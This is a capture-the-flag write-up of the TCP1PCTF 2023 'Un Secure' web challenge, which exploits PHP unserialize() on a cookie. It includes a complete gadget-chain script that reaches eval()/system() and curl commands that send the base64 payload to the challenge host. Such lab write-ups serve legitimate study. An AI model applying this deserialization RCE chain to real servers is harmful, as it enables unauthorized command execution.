Home TCP1PCTF 2023 - Un Secure [WEB]
Post
Cancel

TCP1PCTF 2023 - Un Secure [WEB]

Link to archive challenges:

Category : Web

Web : Un Secure

We received a zip file dist.zip with the source code of the web challenge.

When we tried to browse the web link, we don’t see much except a white page with sentence “Welcome to my web app!”

Looking at index.php, the code will check if cookies with name cookie is set. If set, it will unserialize() the cookies after base64 decode using base64_decode().

1
2
3
4
5
6
7
8
9
<?php
require("vendor/autoload.php");

if (isset($_COOKIE['cookie'])) {
    $cookie = base64_decode($_COOKIE['cookie']);
    unserialize($cookie);
}

echo "Welcome to my web app!";

A simple search dangerous of unserialize() php in Google will lead us into an interesting information.

The name of the challenge itself is a hint that the challenge involve Deserialization vulnerabilities. In src/ folder, we can find few PHP files with three (3) gadgets that we can use to get a Remote Code Execution (RCE). Let’s walkthrough each of the gadgets available

GadgetOne (Adders.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

namespace GadgetOne {
    class Adders
    {
        private $x;
        function __construct($x)
        {
            $this->x = $x;
        }
        function get_x()
        {
            return $this->x;
        }
    }
}

__construct() - PHP class constructor, is automatically called upon object creation

  • In GadgetOne, we can set the variable $x to any values that we want and interestingly it will return the value of variable $x in the function of get_x().

GadgetTwo (Echoers.php)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace GadgetTwo {
    class Echoers
    {
        protected $klass;
        function __destruct()
        {
            echo $this->klass->get_x();
        }
    }

}

__destruct() - PHP class destructor, is automatically called when references to the object are removed from memory.

  • In GadgetTwo, we can set the variable $klass and the function get_x() from GadgetOne was called in this gadget.

GadgetThree (Vuln.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

namespace GadgetThree {
    class Vuln
    {
        public $waf1;
        protected $waf2;
        private $waf3;
        public $cmd;
        function __toString()
        {
            if (!($this->waf1 === 1)) {
                die("not x");
            }
            if (!($this->waf2 === "\xde\xad\xbe\xef")) {
                die("not y");
            }
            if (!($this->waf3) === false) {
                die("not z");
            }
            eval($this->cmd);
        }
    }
}

__toString() - PHP call-back that gets executed if the object is treated like a string.

  • In GadgetThree, even though there is a WAF but we can defined each of the variable accordingly to bypass it. Once we have bypass it, we can get our input which is cmd to eval() function.

Solution

Based on the Gadget above, at first I only focus on the GadgetThree because it got eval() function. But I keep wondering how can I trigger the __toString() with only using GadgetThree? Like I mentioned above, it will only get executed if the object is treated like a string, but in our case it only unserialize() the object not echo unserialize().

1
unserialize($cookie);

That’s when I realize we need to chain all the gadget to get RCE. Thanks to my team members in M53, I got some idea on how to chain the gadgets.

This is the first solution my team member @vicevirus tried but he mentioned this is wrong. We will get back to this at the end to explain the reason.

So the idea is I need to get my Vuln() object into the GadgetTwo as it use echo().

1
2
3
4
5
# Original
echo $this->klass->get_x();

# Plan
echo $this->klass->Vuln();

Then, I realize that get_x() will return the value of variable $x and with this I come out with the solution below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
require("vendor/autoload.php");

$gadgetOne = new \GadgetOne\Adders(1);
$gadgetTwo = new \GadgetTwo\Echoers();
$gadgetThree = new \GadgetThree\Vuln();

// Setup GadgeThree
$vuln = new \GadgetThree\Vuln();
$reflection = new \ReflectionClass($gadgetThree);
$property = $reflection->getProperty('waf1');
$property->setAccessible(true);
$property->setValue($vuln, 1);
$property = $reflection->getProperty('waf2');
$property->setAccessible(true);
$property->setValue($vuln, "\xde\xad\xbe\xef");
$property = $reflection->getProperty('waf3');
$property->setAccessible(true);
$property->setValue($vuln, false);
$property = $reflection->getProperty('cmd');
$property->setAccessible(true);
$property->setValue($vuln, "system('cat *.txt');");

// Setup GadgetOne
// __construct($x)
$adders = new \GadgetOne\Adders(1);
$reflection = new \ReflectionClass($gadgetOne);
$property = $reflection->getProperty('x');
$property->setAccessible(true);
$property->setValue($adders, $vuln);

// Setup GadgetTwo
// __destruct()
$echoers = new \GadgetTwo\Echoers();
$reflection = new \ReflectionClass($gadgetTwo);
$property = $reflection->getProperty('klass');
$property->setAccessible(true);
$property->setValue($echoers, $adders);

$serialized = serialize($echoers);

echo base64_encode($serialized);

echo "\n";

Use curl with the base64 cookies and we will get the flag!

1
curl "http://ctf.tcp1p.com:45678/" -b "cookie=TzoxNzoiR2FkZ2V0VHdvXEVjaG9lcnMiOjE6e3M6ODoiACoAa2xhc3MiO086MTY6IkdhZGdldE9uZVxBZGRlcnMiOjE6e3M6MTk6IgBHYWRnZXRPbmVcQWRkZXJzAHgiO086MTY6IkdhZGdldFRocmVlXFZ1bG4iOjQ6e3M6NDoid2FmMSI7aToxO3M6NzoiACoAd2FmMiI7czo0OiLerb7vIjtzOjIyOiIAR2FkZ2V0VGhyZWVcVnVsbgB3YWYzIjtiOjA7czozOiJjbWQiO3M6MjA6InN5c3RlbSgnY2F0ICoudHh0Jyk7Ijt9fX0="

Explanation (Lesson Learned)

I really hope the solution by my team member (vicevirus) is working. I’m interested to know if its possible to include system() or any function in PHP object.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
require("vendor/autoload.php");

$gadgetOne = new \GadgetOne\Adders(system('id'));
$gadgetTwo = new \GadgetTwo\Echoers();

$reflection = new \ReflectionClass($gadgetTwo);
$property = $reflection->getProperty('klass');
$property->setAccessible(true);
$property->setValue($gadgetTwo, $gadgetOne);

$serializedGadgetTwo = serialize($gadgetTwo);

echo(base64_encode($serializedGadgetTwo));

When we run the payload above, we will see that somehow the command executed.

1
curl "http://ctf.tcp1p.com:45678/" -b "cookie=TzoxNzoiR2FkZ2V0VHdvXEVjaG9lcnMiOjE6e3M6ODoiACoAa2xhc3MiO086MTY6IkdhZGdldE9uZVxBZGRlcnMiOjE6e3M6MTk6IgBHYWRnZXRPbmVcQWRkZXJzAHgiO3M6MjE1OiJ1aWQ9MTAwMChrYWxpKSBnaWQ9MTAwMChrYWxpKSBncm91cHM9MTAwMChrYWxpKSw0KGFkbSksMjAoZGlhbG91dCksMjQoY2Ryb20pLDI1KGZsb3BweSksMjcoc3VkbyksMjkoYXVkaW8pLDMwKGRpcCksNDQodmlkZW8pLDQ2KHBsdWdkZXYpLDEwMCh1c2VycyksMTA2KG5ldGRldiksMTExKGJsdWV0b290aCksMTE3KHNjYW5uZXIpLDE0MCh3aXJlc2hhcmspLDE0MihrYWJveGVyKSI7fX0="

Im not an expert with Deserialization, but let us do some checking with the PHP Object itself.

1
2
3
4
5
# Base64 Encoded Bbject
TzoxNzoiR2FkZ2V0VHdvXEVjaG9lcnMiOjE6e3M6ODoiACoAa2xhc3MiO086MTY6IkdhZGdldE9uZVxBZGRlcnMiOjE6e3M6MTk6IgBHYWRnZXRPbmVcQWRkZXJzAHgiO3M6MjE1OiJ1aWQ9MTAwMChrYWxpKSBnaWQ9MTAwMChrYWxpKSBncm91cHM9MTAwMChrYWxpKSw0KGFkbSksMjAoZGlhbG91dCksMjQoY2Ryb20pLDI1KGZsb3BweSksMjcoc3VkbyksMjkoYXVkaW8pLDMwKGRpcCksNDQodmlkZW8pLDQ2KHBsdWdkZXYpLDEwMCh1c2VycyksMTA2KG5ldGRldiksMTExKGJsdWV0b290aCksMTE3KHNjYW5uZXIpLDE0MCh3aXJlc2hhcmspLDE0MihrYWJveGVyKSI7fX0=

# Base64 Decoded Object
O:17:"GadgetTwo\Echoers":1:{s:8:"*klass";O:16:"GadgetOne\Adders":1:{s:19:"GadgetOne\Addersx";s:215:"uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),117(scanner),140(wireshark),142(kaboxer)";}

So basically, it will stored the value of our system('id') into the PHP object and output it later :( . But overall, I learn something new with most of the challenge in this CTF :)

This post is licensed under CC BY 4.0 by the author.